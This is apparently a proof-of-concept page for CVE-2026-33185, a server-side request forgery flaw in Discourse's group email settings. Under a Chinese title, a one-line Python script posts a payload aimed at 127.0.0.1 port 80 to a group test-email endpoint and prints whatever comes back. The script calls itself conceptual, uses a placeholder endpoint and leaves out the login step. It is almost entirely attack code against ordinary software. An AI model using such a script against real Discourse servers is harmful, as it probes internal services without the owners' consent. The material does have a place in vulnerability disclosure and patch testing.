CVE-2026-33185 Discourse 组邮件设置SSRF漏洞

import requests # Target URL target_url = "http://target-discourse.com" # The endpoint for testing group email settings (Conceptual) # Requires authentication as a group owner endpoint = "/groups/test_email_settings.json" # Example endpoint path session = requests.Session() # Login logic would go here to obtain session cookies # Malicious payload targeting an internal service (e.g., localhost:80) payload = { "host": "127.0.0.1", "port": 80, "test_type": "connection" } try: response = session.post(f"{target_url}{endpoint}", data=payload) if response.status_code == 200: print("Potential SSRF triggered. Check response for connection details.") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")